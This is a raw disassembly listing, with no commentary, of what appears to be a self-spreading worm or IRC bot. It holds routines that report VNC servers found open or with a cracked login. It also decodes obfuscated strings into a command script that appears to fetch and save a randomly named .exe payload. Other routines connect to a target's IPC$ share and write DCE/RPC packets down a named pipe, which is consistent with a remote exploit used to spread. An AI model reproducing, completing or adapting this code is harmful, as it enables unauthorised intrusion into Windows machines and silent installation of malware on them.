mov eax, [esp+3Ch+arg_10+2]
mov word ptr [esp+3Ch+arg_10], dx
xor edx, edx
mov dl, byte ptr [esp+3Ch+arg_10+3]
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+3Ch+arg_18]
mov word ptr [esp+3Ch+arg_10+2], dx
xor edx, edx
mov dl, byte ptr [esp+3Ch+arg_18+1]
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+3Ch+arg_18+2]
mov word ptr [esp+3Ch+arg_18], dx
xor edx, edx
mov dl, byte ptr [esp+3Ch+arg_18+3]
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+3Ch+arg_1C]
mov word ptr [esp+3Ch+arg_18+2], dx
xor edx, edx
mov dl, byte ptr [esp+3Ch+arg_1C+1]
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+3Ch+arg_24]
mov word ptr [esp+3Ch+arg_1C], dx
mov ecx, eax
mov edx, eax
and ecx, 0FF0000h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, 0FF00h
or edx, eax
lea eax, [esp+3Ch+arg_2878]
push eax
lea eax, [esp+40h+arg_15C]
push [esp+40h+var_10]
shr ecx, 8
push [esp+44h+var_18]
shl edx, 8
push offset aVncD_DSNopass ; "VNC%d.%d: %s - (NoPass)"
or ecx, edx
push 2710h
push eax
mov [esp+54h+arg_24], ecx
call sub_429AEE
add esp, 18h
cmp [esp+3Ch+arg_2934], 0
jz short loc_408E4E
lea eax, [esp+3Ch+arg_15C]
push eax
push offset aS_5 ; "%s"
push [esp+44h+arg_2870]
push [esp+48h+arg_2874]
call sub_41CD84
add esp, 10h
loc_408E4E: ; CODE XREF: sub_408B6A+2BFj
push 2710h
lea eax, [esp+40h+arg_15C]
push 0
push eax
call sub_429690
lea eax, [esp+48h+var_20]
push 1
push eax
push [esp+50h+var_2C]
call sub_407FFA
add esp, 18h
push ebp
call edi ; dword_43718C
lea eax, [esp+40h+var_20+2]
push 0
push eax
push [esp+48h+var_30]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+44h+var_28]
push 2
push eax
push [esp+4Ch+var_34]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
lea eax, [esp+58h+arg_50]
push edx
push offset dword_44399C
push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
push eax
call sub_429A33
push 100h
push 0
push ebx
call sub_429690
add esp, 2Ch
cmp dword_456D88, 0
jnz loc_408FC2
lea eax, [esp+48h+arg_286C]
push eax
call sub_41E3FB
test eax, eax
pop ecx
mov [esp+48h+var_34], offset dword_457CD8
jnz short loc_408F36
mov [esp+48h+var_34], offset dword_457C20
loc_408F36: ; CODE XREF: sub_408B6A+3C2j
lea eax, [esp+48h+arg_50]
push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
push eax
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
call sub_401AF0
push eax
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
call sub_401AF0
push eax
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_401AF0
push eax
lea eax, [esp+6Ch+arg_50]
push eax
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_401AF0
push eax
call sub_401A77
push eax
call sub_401A77
push eax
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_401AF0
push eax
push dword_454A10
push [esp+94h+var_34]
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
push offset aSSSSDSSSSSSSSS ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "...
push 100h
push ebx
call sub_429AEE
add esp, 68h
jmp loc_40904E
; ---------------------------------------------------------------------------
loc_408FC2: ; CODE XREF: sub_408B6A+3A4j
push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
push offset dword_456B88
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
call sub_401AF0
push eax
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
call sub_401AF0
push eax
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_401AF0
push eax
push offset dword_456B88
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_401AF0
push eax
push offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
push esi
call sub_401AF0
push eax
push offset dword_456988
push offset dword_456788
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_401AF0
push eax
push dword_456780
push offset dword_456580
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
push offset aSSSSDSSSSSSS_0 ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "...
push 100h
push ebx
call sub_429AEE
add esp, 74h
loc_40904E: ; CODE XREF: sub_408B6A+453j
and [esp+48h+var_34], 0
push ebx
call sub_4292D0
test eax, eax
pop ecx
jbe short loc_4090A3
loc_40905E: ; CODE XREF: sub_408B6A+537j
mov eax, [esp+48h+var_34]
movsx eax, byte_4556A8[eax]
push eax
push offset dword_43EE88
lea eax, [esp+50h+var_20]
push 3
push eax
call sub_429AEE
lea eax, [esp+58h+var_20]
push 0
push eax
push [esp+60h+var_38]
call sub_407FFA
add esp, 1Ch
push 0Fh
call edi ; dword_43718C
inc [esp+4Ch+var_38]
push ebx
call sub_4292D0
cmp [esp+50h+var_38], eax
pop ecx
jb short loc_40905E
loc_4090A3: ; CODE XREF: sub_408B6A+4F2j
push ebp
call edi ; dword_43718C
lea eax, [esp+50h+var_20]
push 0
push eax
push [esp+58h+var_40]
call sub_407FFA
add esp, 0Ch
push 7530h
call edi ; dword_43718C
lea eax, [esp+54h+var_3C]
push 1
push eax
push [esp+5Ch+var_44]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+58h+var_38]
push 0
push eax
push [esp+60h+var_48]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+5Ch+var_44]
push 2
push eax
push [esp+64h+var_4C]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
mov eax, [esp+60h+arg_2900]
mov dword_4556A0, 1
shl eax, 6
lea eax, dword_43A380[eax]
inc dword ptr [eax]
loc_40911E: ; CODE XREF: sub_408B6A+190j
; sub_408B6A+1BFj ...
lea eax, [esp+60h+arg_28]
push 10h
push eax
push [esp+68h+var_50]
call sub_407F80
add esp, 0Ch
test eax, eax
jnz short loc_409142
push [esp+60h+var_50]
call dword_4372D4
loc_409142: ; CODE XREF: sub_408B6A+5CCj
push [esp+64h+arg_2914]
call sub_4292D0
cmp eax, 8
pop ecx
jbe short loc_40915F
mov eax, [esp+64h+arg_2914]
and byte ptr [eax+8], 0
loc_40915F: ; CODE XREF: sub_408B6A+5E8j
push [esp+64h+arg_2914]
lea eax, [esp+68h+arg_24]
push eax
call sub_407F26
lea eax, [esp+6Ch+arg_24]
push 10h
push eax
push [esp+74h+var_54]
call sub_407FB9
add esp, 14h
test eax, eax
jnz short loc_409197
push [esp+64h+var_54]
call dword_4372D4
loc_409197: ; CODE XREF: sub_408B6A+621j
lea eax, [esp+68h+var_34]
push 4
push eax
push [esp+70h+var_58]
call sub_407F80
add esp, 0Ch
test eax, eax
jnz short loc_4091B8
push [esp+68h+var_58]
call dword_4372D4
loc_4091B8: ; CODE XREF: sub_408B6A+642j
mov ecx, [esp+6Ch+var_38]
mov eax, ecx
mov edx, ecx
and eax, 0FF0000h
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, 0FF00h
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [esp+6Ch+var_38], eax
sub eax, 0
jz short loc_409206
dec eax
jz short loc_4091F9
dec eax
jnz loc_408C3E
push 3E80h
call edi ; dword_43718C
loc_4091F9: ; CODE XREF: sub_408B6A+5Ej
; sub_408B6A+BAj ...
xor eax, eax
loc_4091FB: ; CODE XREF: sub_408B6A+1A5j
; sub_408B6A+AA7j
pop edi
pop esi
pop ebp
pop ebx
add esp, 289Ch
retn
; ---------------------------------------------------------------------------
loc_409206: ; CODE XREF: sub_408B6A+67Cj
push 1
push offset word_454018
push [esp+74h+var_5C]
call sub_407FB9
add esp, 0Ch
test eax, eax
jz loc_409603
lea eax, [esp+6Ch+var_34]
push 18h
push eax
push [esp+74h+var_5C]
call sub_407F80
add esp, 0Ch
test eax, eax
jz loc_409603
mov eax, [esp+6Ch+var_34]
xor edx, edx
mov dl, byte ptr [esp+6Ch+var_34+1]
mov ecx, 0FFh
shl eax, 8
xor dl, al
push [esp+6Ch+arg_290C]
and dx, cx
xor edx, eax
mov eax, [esp+70h+var_34+2]
mov word ptr [esp+70h+var_34], dx
xor edx, edx
mov dl, byte ptr [esp+70h+var_34+3]
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+70h+var_2C]
mov word ptr [esp+70h+var_34+2], dx
xor edx, edx
mov dl, byte ptr [esp+70h+var_2C+1]
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+70h+var_2C+2]
mov word ptr [esp+70h+var_2C], dx
xor edx, edx
mov dl, byte ptr [esp+70h+var_2C+3]
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+70h+var_28]
mov word ptr [esp+70h+var_2C+2], dx
xor edx, edx
mov dl, byte ptr [esp+70h+var_28+1]
shl eax, 8
xor dl, al
and dx, cx
xor edx, eax
mov eax, [esp+70h+var_20]
mov word ptr [esp+70h+var_28], dx
mov ecx, eax
mov edx, eax
and ecx, 0FF0000h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, 0FF00h
or edx, eax
lea eax, [esp+70h+arg_2848]
push eax
lea eax, [esp+74h+arg_12C]
push [esp+74h+var_40]
shr ecx, 8
push [esp+78h+var_48]
shl edx, 8
push offset aVncD_DSS ; "VNC%d.%d: %s - %s"
or ecx, edx
push 2710h
push eax
mov [esp+88h+var_20], ecx
call sub_429AEE
add esp, 1Ch
cmp [esp+6Ch+arg_2904], 0
jz short loc_409347
lea eax, [esp+6Ch+arg_12C]
push eax
push offset aS_5 ; "%s"
push [esp+74h+arg_2840]
push [esp+78h+arg_2844]
call sub_41CD84
add esp, 10h
loc_409347: ; CODE XREF: sub_408B6A+7B8j
push 2710h
lea eax, [esp+70h+arg_12C]
push 0
push eax
call sub_429690
lea eax, [esp+78h+var_50]
push 1
push eax
push [esp+80h+var_5C]
call sub_407FFA
add esp, 18h
push ebp
call edi ; dword_43718C
lea eax, [esp+70h+var_50+2]
push 0
push eax
push [esp+78h+var_60]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+74h+var_58]
push 2
push eax
push [esp+7Ch+var_64]
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_429ACC
push 9
cdq
pop ecx
idiv ecx
lea eax, [esp+88h+arg_20]
push edx
push offset dword_44399C
push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
push eax
call sub_429A33
push 100h
push 0
push ebx
call sub_429690
add esp, 2Ch
cmp dword_456D88, 0
jnz loc_4094BB
lea eax, [esp+78h+arg_283C]
push eax
call sub_41E3FB
test eax, eax
pop ecx
mov [esp+78h+var_64], offset dword_457CD8
jnz short loc_40942F
mov [esp+78h+var_64], offset dword_457C20
loc_40942F: ; CODE XREF: sub_408B6A+8BBj
lea eax, [esp+78h+arg_20]
push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
push eax
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
call sub_401AF0
push eax
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
call sub_401AF0
push eax
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_401AF0
push eax
lea eax, [esp+9Ch+arg_20]
push eax
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_401AF0
push eax
call sub_401A77
push eax
call sub_401A77
push eax
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_401AF0
push eax
push dword_454A10
push [esp+0C4h+var_64]
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
push offset aSSSSDSSSSSSSSS ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "...
push 100h
push ebx
call sub_429AEE
add esp, 68h
jmp loc_409547
; ---------------------------------------------------------------------------
loc_4094BB: ; CODE XREF: sub_408B6A+89Dj
push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
push offset dword_456B88
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
call sub_401AF0
push eax
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
call sub_401AF0
push eax
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_401AF0
push eax
push offset dword_456B88
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_401AF0
push eax
push offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
push esi
call sub_401AF0
push eax
push offset dword_456988
push offset dword_456788
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_401AF0
push eax
push dword_456780
push offset dword_456580
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
push offset aSSSSDSSSSSSS_0 ; "%s %s %s %s %d >> %s %s %s %s %s >> %s "...
push 100h
push ebx
call sub_429AEE
add esp, 74h
loc_409547: ; CODE XREF: sub_408B6A+94Cj
push ebx
xor esi, esi
call sub_4292D0
test eax, eax
pop ecx
jbe short loc_409590
loc_409554: ; CODE XREF: sub_408B6A+A24j
movsx eax, byte_4556A8[esi]
push eax
push offset dword_43EE88
lea eax, [esp+80h+var_50]
push 3
push eax
call sub_429AEE
lea eax, [esp+88h+var_50]
push 0
push eax
push [esp+90h+var_68]
call sub_407FFA
add esp, 1Ch
push 0Fh
call edi ; dword_43718C
push ebx
inc esi
call sub_4292D0
cmp esi, eax
pop ecx
jb short loc_409554
loc_409590: ; CODE XREF: sub_408B6A+9E8j
push ebp
call edi ; dword_43718C
mov esi, [esp+80h+var_70]
lea eax, [esp+80h+var_50]
push 0
push eax
push esi
call sub_407FFA
add esp, 0Ch
push 7530h
call edi ; dword_43718C
xor ebx, ebx
lea eax, [esp+84h+var_6C]
inc ebx
push ebx
push eax
push esi
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+88h+var_68]
push 0
push eax
push esi
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
lea eax, [esp+8Ch+var_74]
push 2
push eax
push esi
call sub_407FFA
add esp, 0Ch
push ebp
call edi ; dword_43718C
mov eax, [esp+90h+arg_28D0]
mov dword_4556A0, ebx
shl eax, 6
lea eax, dword_43A380[eax]
inc dword ptr [eax]
jmp short loc_409607
; ---------------------------------------------------------------------------
loc_409603: ; CODE XREF: sub_408B6A+6B1j
; sub_408B6A+6CCj
mov esi, [esp+6Ch+var_5C]
loc_409607: ; CODE XREF: sub_408B6A+A97j
push esi
call dword_4372D4
xor eax, eax
inc eax
jmp loc_4091FB
sub_408B6A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
cmp off_43EDE8, 0
push ebx
push esi
push edi
jz short loc_409673
mov ebx, offset off_43EDE8
loc_409627: ; CODE XREF: ?9:00409671j
cmp dword_4556A0, 0
jnz short loc_409673
push dword ptr [ebx]
lea esi, [esp+1Ch]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
push dword ptr [esp+0DCh]
rep movsd
push dword ptr [esp+0DCh]
call sub_408B6A
add esp, 0D0h
test eax, eax
jnz short loc_40966B
push 3E80h
call dword_43718C ; Sleep
loc_40966B: ; CODE XREF: ?9:0040965Ej
add ebx, 4
cmp dword ptr [ebx], 0
jnz short loc_409627
loc_409673: ; CODE XREF: ?9:00409620j ?9:0040962Ej
xor eax, eax
pop edi
pop esi
inc eax
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_40967A proc near ; CODE XREF: sub_40978A+EEp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
xor edx, edx
cmp [esp+arg_4], edx
jbe short locret_4096AA
push esi
mov esi, [esp+4+arg_8]
loc_409687: ; CODE XREF: sub_40967A+2Dj
mov eax, [esp+4+arg_0]
mov cl, [edx+eax]
mov al, cl
and cl, 0Fh
shr al, 4
add cl, 41h
add al, 41h
mov [esi+edx*2], cl
mov [esi+edx*2+1], al
inc edx
cmp edx, [esp+4+arg_4]
jb short loc_409687
pop esi
locret_4096AA: ; CODE XREF: sub_40967A+6j
retn
sub_40967A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4096AB proc near ; CODE XREF: sub_4096AB+CDp
; sub_40978A+493p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_4096BF
or [ebp+arg_7], 1
jmp short loc_4096C3
; ---------------------------------------------------------------------------
loc_4096BF: ; CODE XREF: sub_4096AB+Cj
and [ebp+arg_7], 0FEh
loc_4096C3: ; CODE XREF: sub_4096AB+12j
mov ebx, [ebp+arg_20]
mov eax, [ebp+arg_24]
lea ecx, [ebx+18h]
cmp ecx, eax
ja short loc_4096E4
or [ebp+arg_7], 2
and byte ptr [ebp+arg_28+3], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_4096F6
; ---------------------------------------------------------------------------
loc_4096E4: ; CODE XREF: sub_4096AB+23j
mov [ebp+arg_C], ax
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_14], eax
mov byte ptr [ebp+arg_28+3], 1
loc_4096F6: ; CODE XREF: sub_4096AB+37j
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_4296E8
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jnz short loc_40970F
loc_40970B: ; CODE XREF: sub_4096AB+A4j
xor eax, eax
jmp short loc_409785
; ---------------------------------------------------------------------------
loc_40970F: ; CODE XREF: sub_4096AB+5Ej
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_429350
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call dword_437078 ; WriteFile
push [ebp+arg_20]
test eax, eax
jnz short loc_409751
call sub_429822
pop ecx
jmp short loc_40970B
; ---------------------------------------------------------------------------
loc_409751: ; CODE XREF: sub_4096AB+9Cj
call sub_429822
cmp byte ptr [ebp+arg_28+3], 0
pop ecx
jz short loc_409782
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_4096AB
add esp, 2Ch
jmp short loc_409785
; ---------------------------------------------------------------------------
loc_409782: ; CODE XREF: sub_4096AB+B0j
xor eax, eax
inc eax
loc_409785: ; CODE XREF: sub_4096AB+62j
; sub_4096AB+D5j
pop edi
pop esi
pop ebx
leave
retn
sub_4096AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40978A proc near ; CODE XREF: ?9:00409D60p ?9:00409D85p ...
var_CC48 = byte ptr -0CC48h
var_8C48 = byte ptr -8C48h
var_6C48 = byte ptr -6C48h
var_4C48 = byte ptr -4C48h
var_2C48 = word ptr -2C48h
var_10F0 = dword ptr -10F0h
var_7F4 = byte ptr -7F4h
var_7EF = byte ptr -7EFh
var_7B0 = byte ptr -7B0h
var_344 = byte ptr -344h
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_70 = byte ptr -70h
var_6C = byte ptr -6Ch
var_6B = byte ptr -6Bh
var_6A = byte ptr -6Ah
var_69 = byte ptr -69h
var_68 = dword ptr -68h
var_64 = word ptr -64h
var_62 = word ptr -62h
var_60 = dword ptr -60h
var_5C = word ptr -5Ch
var_5A = word ptr -5Ah
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = word ptr -50h
var_4E = byte ptr -4Eh
var_4C = byte ptr -4Ch
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = byte ptr -22h
var_21 = byte ptr -21h
var_20 = dword ptr -20h
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_B0 = dword ptr 0B8h
arg_B8 = dword ptr 0C0h
arg_C0 = dword ptr 0C8h
arg_C8 = dword ptr 0D0h
arg_CC = dword ptr 0D4h
push ebp
mov ebp, esp
mov eax, 0CC48h
call sub_429A90
push ebx
push esi
push edi
lea eax, [ebp+arg_4]
push 1
push eax
call sub_4044F6
pop ecx
cmp eax, 3
pop ecx
mov [ebp+var_4], eax
jz short loc_4097C8
lea eax, [ebp+arg_4]
push 5
push eax
call sub_4044F6
pop ecx
cmp eax, 3
pop ecx
mov [ebp+var_4], eax
jnz loc_409C46
loc_4097C8: ; CODE XREF: sub_40978A+23j
mov eax, dword_43EFB0
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_C], eax
jz loc_409C46
push 2B1h
lea eax, [ebp+var_344]
push ebx
push eax
call sub_429690
mov esi, 0DACh
lea eax, [ebp+var_10F0]
push esi
push ebx
push eax
call sub_429690
push 1B58h
lea eax, [ebp+var_2C48]
push ebx
push eax
call sub_429690
push 0DABh
lea eax, [ebp+var_10F0]
push 41h
push eax
call sub_429690
mov edi, [ebp+arg_0]
push 5
push offset dword_43EFB4
lea edi, [edi+edi*2]
shl edi, 2
mov eax, dword ptr (loc_43F012+2)[edi]
mov ecx, dword ptr (loc_43F00F+1)[edi]
mov [ebp+eax+var_10F0], ecx
lea eax, [ebp+var_7F4]
push eax
call sub_429350
push 3Fh
lea eax, [ebp+var_7EF]
push offset sub_43EFD0
push eax
call sub_429350
add esp, 48h
lea eax, [ebp+var_344]
push eax
push [ebp+var_C]
push offset dword_43A8E8
call sub_40967A
lea eax, [ebp+var_344]
push eax
call sub_4292D0
push eax
lea eax, [ebp+var_344]
push eax
lea eax, [ebp+var_7B0]
push eax
call sub_429350
lea eax, [ebp+var_344]
push eax
call sub_4292D0
add esp, 20h
cmp [ebp+var_4], 3
mov [ebp+eax+var_7B0], bl
jnz short loc_4098D1
xor eax, eax
loc_4098BB: ; CODE XREF: sub_40978A+145j
movzx cx, byte ptr [ebp+eax+var_10F0]
mov [ebp+eax*2+var_2C48], cx
inc eax
cmp eax, esi
jb short loc_4098BB
loc_4098D1: ; CODE XREF: sub_40978A+12Dj
lea eax, [ebp+arg_4]
mov esi, 2000h
push eax
push offset aS_0 ; "\\\\%s"
lea eax, [ebp+var_6C48]
push esi
push eax
call sub_429AEE
lea eax, [ebp+var_6C48]
push esi
push eax
lea eax, [ebp+var_CC48]
push eax
call sub_42A954
lea eax, [ebp+arg_4]
push offset dword_43AB8C
push eax
call sub_42A7F0
add esp, 24h
test eax, eax
jz short loc_40996D
lea eax, [ebp+arg_4]
push eax
push offset dword_43CB4C
lea eax, [ebp+var_8C48]
push esi
push eax
call sub_429AEE
push esi
lea eax, [ebp+var_8C48]
push offset aIpc ; "IPC$"
push eax
call sub_429910
push 20h
lea eax, [ebp+var_90]
push ebx
push eax
call sub_429690
lea eax, [ebp+var_8C48]
add esp, 28h
mov [ebp+var_7C], eax
mov eax, offset byte_454A34
push ebx
push eax
push eax
lea eax, [ebp+var_90]
push eax
call dword_456FE0
loc_40996D: ; CODE XREF: sub_40978A+189j
lea eax, [ebp+arg_4]
push eax
push offset dword_43CB4C
lea eax, [ebp+var_4C48]
push esi
push eax
call sub_429AEE
push esi
lea eax, [ebp+var_4C48]
push offset dword_43F078
push eax
call sub_429910
add esp, 1Ch
lea eax, [ebp+var_4C48]
push ebx
push ebx
push 3
push ebx
push 3
push 40000000h
push eax
call dword_43705C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_409C3B
push 48h
lea eax, [ebp+var_6C]
push ebx
push eax
call sub_429690
xor eax, eax
push 10h
inc eax
pop esi
mov [ebp+var_60], eax
mov [ebp+var_54], eax
mov [ebp+var_4E], al
mov [ebp+var_3C], eax
push esi
lea eax, [ebp+var_4C]
push offset dword_43F064
push eax
mov [ebp+var_6C], 5
mov [ebp+var_6B], bl
mov [ebp+var_6A], 0Bh
mov [ebp+var_69], 3
mov [ebp+var_68], esi
mov [ebp+var_64], 48h
mov [ebp+var_62], bx
mov [ebp+var_5C], 10B8h
mov [ebp+var_5A], 10B8h
mov [ebp+var_58], ebx
mov [ebp+var_50], bx
call sub_429350
push esi
lea eax, [ebp+var_38]
push offset dword_43E15C
push eax
mov [ebp+var_28], 2
call sub_429350
add esp, 24h
lea eax, [ebp+var_70]
push ebx
push eax
lea eax, [ebp+var_6C]
push 48h
push eax
push [ebp+var_4]
call dword_437078 ; WriteFile
test eax, eax
jnz short loc_409A58
loc_409A4A: ; CODE XREF: sub_40978A+339j
push [ebp+var_4]
call dword_437044 ; CloseHandle
jmp loc_409C3B
; ---------------------------------------------------------------------------
loc_409A58: ; CODE XREF: sub_40978A+2BEj
lea eax, [ebp+var_CC48]
push eax
call sub_42A937
lea eax, [eax+eax+12h]
pop ecx
test al, 3
mov [ebp+arg_0], eax
jz short loc_409A79
loc_409A70: ; CODE XREF: sub_40978A+2EDj
inc [ebp+arg_0]
test byte ptr [ebp+arg_0], 3
jnz short loc_409A70
loc_409A79: ; CODE XREF: sub_40978A+2E4j
cmp byte ptr (loc_43F017+1)[edi], bl
jz short loc_409A85
add [ebp+arg_0], 4
loc_409A85: ; CODE XREF: sub_40978A+2F5j
lea eax, [ebp+var_2C48]
push eax
call sub_42A937
pop ecx
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax*2+0Eh]
jmp short loc_409A9C
; ---------------------------------------------------------------------------
loc_409A9B: ; CODE XREF: sub_40978A+314j
inc eax
loc_409A9C: ; CODE XREF: sub_40978A+30Fj
test al, 3
jnz short loc_409A9B
add eax, 8
cmp byte ptr (loc_43F017+1)[edi], bl
jz short loc_409AB0
add eax, 4
jmp short loc_409AB2
; ---------------------------------------------------------------------------
loc_409AB0: ; CODE XREF: sub_40978A+31Fj
inc eax
inc eax
loc_409AB2: ; CODE XREF: sub_40978A+324j
push eax
mov [ebp+arg_0], eax
call sub_4296E8
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp+var_C], esi
jz short loc_409A4A
push [ebp+arg_0]
push ebx
push esi
call sub_429690
push 4
push offset dword_43EFBC
push esi
call sub_429350
lea eax, [ebp+var_CC48]
push eax
call sub_42A937
inc eax
mov [esi+8], ebx
mov [esi+0Ch], eax
mov [esi+4], eax
lea eax, [ebp+var_CC48]
push eax
lea eax, [esi+10h]
push eax
call sub_429B69
lea eax, [ebp+var_CC48]
push eax
call sub_42A937
lea eax, [eax+eax+12h]
add esp, 28h
test al, 3
mov [ebp+var_8], eax
jz short loc_409B24
loc_409B1C: ; CODE XREF: sub_40978A+395j
inc eax
test al, 3
jnz short loc_409B1C
mov [ebp+var_8], eax
loc_409B24: ; CODE XREF: sub_40978A+390j
cmp byte ptr (loc_43F017+1)[edi], bl
jz short loc_409B42
push 4
add eax, esi
push offset dword_43EFC4
push eax
call sub_429350
add esp, 0Ch
add [ebp+var_8], 4
loc_409B42: ; CODE XREF: sub_40978A+3A0j
lea eax, [ebp+var_2C48]
push eax
call sub_42A937
mov ecx, [ebp+var_8]
inc eax
mov [ecx+esi+8], eax
mov [ecx+esi+4], ebx
mov [ecx+esi], eax
add ecx, 0Ch
mov [ebp+var_8], ecx
lea eax, [ebp+var_2C48]
add ecx, esi
push eax
push ecx
call sub_429B69
lea eax, [ebp+var_2C48]
push eax
call sub_42A937
mov ecx, [ebp+var_8]
add esp, 10h
